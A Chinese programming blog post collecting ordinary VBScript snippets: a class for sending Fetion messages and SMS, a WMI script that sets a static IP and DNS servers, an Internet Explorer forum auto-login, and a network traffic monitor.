本来想把昨天《用VBS发送短信(飞信)》里的 VBS 程序改写成 PHP 的,不过为了不重复造轮子,事先 Google 了一下,发现已经有人实现了,详见PHP飞信发送类(PHPFetion)v1.2发布。好吧,既然已经有人把它封装成 PHP 类了,我就封装一个 VBS 类吧。

 

Class VBSFetion
    Private [$mobile], [$password], http

    'Author: Demon
    'Website: http://demon.tw
    'Date: 2011/6/11

    '初始化事件
    Private Sub Class_Initialize
        Set http = CreateObject("Msxml2.XMLHTTP")
    End Sub

    '结束事件
    Private Sub Class_Terminate
        Call Logout()
        Set http = Nothing
    End Sub
    
    '初始化函数
    'mobile   手机号
    'password 登陆密码
    Public Function Init(mobile, password)
        [$mobile] = mobile
        [$password] = password
        str = Login()
        If InStr(str, "密码输入错误") Then
            Init = False
        Else
            Init = True
        End If
    End Function
    
    '发送飞信
    'mobile  对方手机号
    'message 发送内容
    Public Function SendMsg(mobile, message)
        If message = "" Then Exit Function
        If mobile = [$mobile] Then
            Send = ToMyself(message)
        Else
            uid = GetUid(mobile)
            If uid <> -1 Then Send = ToUid(uid, message, False)
        End If
    End Function
    
    '发送短信
    'mobile  对方手机号
'   'message 发送内容
    Public Function SendShortMsg(mobile, message)
        If message = "" Then Exit Function
        If mobile = [$mobile] Then
            Send = ToMyself(message)
        Else
            uid = GetUid(mobile)
            If uid <> -1 Then Send = ToUid(uid, message, True)
        End If
    End Function
    
    '登陆
    Private Function Login()
        url = "/im/login/inputpasssubmit1.action"
        data = "m=" & [$mobile] & "&pass=" & [$password] & "&loginstatus=4"
        Login = Post(url, data)
    End Function
    
    '登出
    Private Function Logout()
        url = "/im/index/logoutsubmit.action"
        Logout = Post(url, "")
    End Function
    
    '给自己发飞信
    Private Function ToMyself(message)
        url = "/im/user/sendMsgToMyselfs.action"
        message = "msg=" & message
        ToMyself = Post(url, message)
    End Function
    
    '给好友发送飞信(短信)
    'uid 飞信ID
    'message 飞信(短信)内容
    'isshort True为短信,False为飞信
    Private Function ToUid(uid, message, isshort)
        If isshort Then
            url = "/im/chat/sendShortMsg.action?touserid=" & uid
            data = "msg=" & message
        Else
            url = "/im/chat/sendMsg.action?touserid=" & uid
            data = "msg=" & message
        End If
        ToUid = Post(url, data)
    End Function
    
    '获取飞信ID
    'mobile 手机号
    Private Function GetUid(mobile)
        url = "/im/index/searchOtherInfoList.action"
        data = "searchText=" & mobile
        str = Post(url, data)
        Set re = New RegExp
        re.Pattern = "/toinputMsg\.action\?touserid=(\d+)"
        If re.Test(str) Then
            Set ms = re.Execute(str)
            GetUid = ms.Item(0).Submatches(0)
        Else
            GetUid = -1
        End If
    End Function
    
    '发送HTTP POST请求
    Private Function Post(url, data)
        url = "http://f.10086.cn" & url
        http.open "POST", url, False
        http.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
        http.send data
        Post = http.responseText
    End Function
End Class

示例程序:

'初始对象
Set fetion = New VBSFetion
'登陆飞信
If fetion.Init("11122223333", "123456") Then
    '发送飞信
    fetion.SendMsg "44455556666", "Hello world"
    '发送短信
    fetion.SendShortMsg "77788889999", "Hello world"
End If

用VBS设置静态IP和DNS服务器地址

 

今天别人问我的,怕以后忘记,记录下来。

strIPAddress = Array("192.168.0.148")
strSubnetMask = Array("255.255.255.0")
strGateway = Array("192.168.0.1")
strGatewayMetric = Array(1)
arrDNSServers = Array("192.168.0.1","192.168.0.2")
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colNetAdapters = objWMIService.ExecQuery _
    ("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
 
For Each objNetAdapter in colNetAdapters
    errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)
    errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)
    errDNS = objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)
    If errEnable = 0 Then
        WScript.Echo "The IP address has been changed."
    Else
        WScript.Echo "The IP address could not be changed."
    End If
Next

记得把参数改成自己想要的。

 

 

VBS 自动登录论坛

VBS 自动登录论坛。

 

on error resume next
url = " http://www.bathome.net/logging.php?action=login"
username = "***"
password = "***"
set ie = CreateObject("InternetExplorer.Application")
ie.visible = true
ie.Navigate url,4 ' " http://www.baidu.com"
do until 4=ie.readyState
    WScript.sleep 200
    waittime  = waittime + 200
    if waittime > 15000 then exit do
loop
'WScript.echo waittime
if 4<>ie.readyState then
    ie.quit
    WScript.quit
end if
set dom = ie.document
set form = dom.getElementById("loginform")
form.all("username").value = username
form.all("password").value = password
form.all("cookietime").checked = true
form.all("loginsubmit").click()

原文链接:http://www.enun.net/?p=1093

 

VBS统计网络流量

VBS统计网络流量,如果你是包流量无线网卡,那这个脚本非常有用。

 

' *==============================================================================*
' * 网络流量统计.vbs         By: FastSLZ 2009-1-28    首次发布与 bbs.bathome.cn  *
' *==============================================================================*
'特别提醒:本脚本必须在Administrator账户,且必须通过杀毒软件授权下才能正常运行!
Dim WH
Set WH = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2").ExecQuery("Select * from Win32_DesktopMonitor")
For Each aWH in WH
     TW = Int(aWH.ScreenWidth/8)
Next
Set WH = Nothing
If TW <= 0 Then :TW =128 :End If
If (Lcase(Right(Wscript.FullName,11)) = "wscript.exe") Then
   CreateObject("WScript.Shell").Run("%Comspec% /C " &Chr(34)&"mode con cols="& TW &"&Title 网络流量统计    By: FastSLZ                          bbs.bathome.cn     &&Cscript.exe //NoLogo  "&Chr(34)& Wscript.ScriptFullName &Chr(34)&Chr(34)),3:Wscript.Quit
End If
MsgBox "本脚本用于检测BT等下载工具后台偷偷上传、下载,及检测是否存在潜伏在系统里的后门程序"
Showy=vbCrLf & vbCrLf & vbCrLf & vbCrLf & vbCrLf
Input=InputBox(Showy &"请输入刷新间隔时间(单位秒)"& vbCrLf &"间隔时间越长统计数据越精确", "BY: fastslz","2")
Input=Int(Input)
If Len(Input) = 0 Then:Input = 1:End If
If Len(Input) >= 2 Then:WScript.Quit:End If
InputS = Input*1000
Dim WMI,Name
Set WMI = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set colItems = WMI.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled='TRUE'")
For Each objItem In colItems
    Name =  Replace(objItem.Description,"/","_")
Next
Set colItems = Nothing
WScript.Echo "活动连接:"&Name
If (IsArray(Name)) = TRUE Then:MsgBox vbTab& "貌似无任何网络" :WScript.Quit:End If
Call Network(Name)
Function Network(Names)
Do
Dim A
Set A = WMI.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface Where Name = '"& Name &"'")
For Each B In A
    R1 = B.BytesReceivedPersec
    S1 = B.BytesSentPersec
    T1 = B.BytesTotalPersec
    If T0 ="" Then :T0 = B.BytesTotalPersec :End If
Next
Set A = Nothing
WScript.Sleep(InputS)
Set A = WMI.ExecQuery("Select * from Win32_PerfRawData_Tcpip_NetworkInterface Where Name = '"& Name &"'")
For Each B In A
    R2 = B.BytesReceivedPersec
    S2 = B.BytesSentPersec
    T2 = B.BytesTotalPersec
Next
Set A = Nothing
WScript.Echo "下载:" & CheckSize((R2-R1)/Input) &"/s" _
      &vbTab&"上传:" & CheckSize((S2-S1)/Input) &"/s" _
      &vbTab&"平均:" & CheckSize((T2-T1)/Input) &"/s" _
      &vbTab&"小计:" & CheckSize(T1-T0) _
      &vbTab&"累计:" & CheckSize(T1)
Loop
End Function

Function CheckSize(SZ)
On Error Resume Next
If SZ => 1073741824 Then
   SZ = FormatNumber(SZ/1073741824) & " GB"
   ElseIf SZ => 1048576 Then
   SZ = FormatNumber(SZ/1048576) & " MB"
   ElseIf SZ => 1024 Then
   SZ = FormatNumber(SZ/1024) & " KB"
Else
   SZ = SZ & " 字节"
End If
CheckSize=Right("      " & SZ,10)
End Function

原文链接:http://bbs.bathome.net/viewthread.php?tid=3198

 

posted @ 2017-05-11 09:22  lcawen  阅读(2297)  评论(0)    收藏  举报